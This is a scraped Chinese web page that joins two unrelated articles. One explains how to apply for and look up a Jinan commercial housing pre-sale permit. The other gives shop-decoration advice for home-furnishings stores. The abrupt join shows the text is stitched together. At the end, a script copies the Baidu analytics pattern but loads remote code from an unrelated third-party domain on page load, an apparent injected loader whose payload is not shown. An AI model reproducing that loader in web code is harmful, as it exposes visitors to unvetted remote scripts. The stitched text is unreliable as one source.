济南商品房预售许可证如何查询?

在买房的时候，我们通常会要求房地产开发商和销售商提供齐全的“五证”、“二书”，其中“五证”就包括《国有土地使用证》、《建设用地规划许可证》、《建设工程规划许可证》、《建设工程施工许可证》(建设工程开工证)、《商品房销售(预售)许可证》。《商品房预售许可证》，是房地产管理机关允许房地产开发商进行现房销售的标志，只有拥有这一证，房地产商的销售行为才是有效的，如果开发商未取得《商品房预售许可证》预售商品房，根据违法情节和后果，将处以不同等级的处罚。那么，什么是商品房预售许可证?在济南如何办理和查询商品房预售许可证?什么是商品房预售许可证《商品房预售许可证》，是市、县人民政府房地产行政管理部门允许房地产开发企业销售商品房的批准文件。其主管机关是市国土房管局，证书由市国土房管局统一印制、办理登记审批和核发证书。济南商品房预售许可证审批许可事项:商品房预售许可证审批办理机构:市审批中心建委窗口(咨询电话：86561817)办理依据:1.《山东省商品房销售条例》2.《城市商品房预售管理办法》(建设部令第40号)申报材料:1.济南市商品房预售许可证申请表及附表(加盖公司印章)2.企业法人营业执照复印件(验原件)3.资质证书复印件(验原件)4.国有土地使用权证复印件(验原件)5.房地产开发项目经营权证明复印件(验原件)6.建设工程规划许可证和规划总平面图复印件(验原件)7.济南市规划局建设工程规划许可相关技术经济指标表(加盖公司印章)8.建筑工程施工许可证复印件(验原件)9.建设工程施工合同复印件(验原件)10.按提供预售的商品房计算，投入开发建设的资金达到工程建设总投资的25%以上的证明(加盖公司印章)11.商品房预测绘报告和商品房预售总档备案证明(验原件)12.前期物业管理合同备案证明及委托合同复印件(验原件)13.土地使用权、在建工程已经设置抵押的，提交抵押权人签署的书面意见;未设置抵押的，公司出具证明。(加盖公司印章)14.销售楼盘申报价格(具体到套)一览表(加盖公司印章)15.商品房预售合同模版(不同模版的分别提供)16.配套工程建设同步完成进度情况说明(加盖公司印章)17.民用建筑节能信息公示表(内容必须与审核通过的施工图设计文件一致)(加盖公司印章)18.住房质量责任承担主体和承担方式说明(加盖公司印章)19.在售网签情况说明办结时限:7个工作日内。办事程序:1.在窗口领取并按要求填写预售许可证申请表(此表也可从济南住宅与房地产网站www.jnfdc.gov.cn下载)。2.接到申请后对申请材料进行初审，初审合格后进行现场查勘，初审和现场查勘合格的，发给预售商品房预售许可证。收费依据与标准:不收费济南商品房预售许可证查询方法1、登录济南住宅与房地产信息网或者济南市住房保障和房产管理局网站查询：2、到相关部门服务大厅咨询台，请工作人员帮您查核。以上就是关于济南商品房预售许可证如何查询的全部介绍，希望能给大家带来帮助，有预售许可证并不代表该楼盘所有商品房都有取得了预售许可，一定要仔细核对自己购买的商品房是否在预售许可证批文里。

如何装修室内装饰店才能获得消费者的青睐

家主要是由家具和家人组成的，家具可以为家人提供方便，提升家的幸福感，而家人可以保养家具，提高家具的使用寿命。家具的主要作用是服务于日常生活，其中有一部分家具是主要用来装饰家庭的，比如窗帘、地毯、壁画等等，人们对生活的追求越来越高，随之而来的是人们对这些家具的需求量越来越大，所以有很多人会选择开一家室内装饰店来谋生，但是也会有一些室内装饰店的店铺经营的不太好，怎么样？去装修，室内装饰店才可以获得消费者的青睐呢？可以根据以下几点来进行装修工作：装修风格、空间布局、装饰整体效果间。一、装修风格室内装饰店的装修风格应该尽量简约，这样不仅可以高效地衬托出店内产品的优点，也可以有效的节约经费，因为开一家室内装修店本来所需的费用就很多，如果装修过于奢华，就会耗费很多不必要的金钱和人力，再说了，装修风格要能突出店内产品，如果装修过于豪华，店内产品的光华就会被掩盖住，所以建议的装修风格是简约式，可以有效的突出店内产品，吸引顾客的眼球。二、空间布局室内装饰店的装修风格是偏简约式的，所以它的空间布局应该尽量简单，在保证安全的情况下，拆除掉不需要的墙体，让人在视觉上增加了空间面积，同时也提高了店内产品在顾客心中的档次。三、装饰整体效果间对于顾客来说，产品给他的第一感觉自然很重要，但是最终能影响他们做决定的是他的装饰效果，所以可以腾出一些空间，用店内的产品来进行装饰，让顾客感受到产品的整体效果，顾客当然会选择购买了。室内装饰店饰装饰产品装饰起来的店铺，如果连室内装饰店的装修效果都不好，人们对店内的产品自然不会抱有信心，如果装修效果好，消费者就会青睐。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();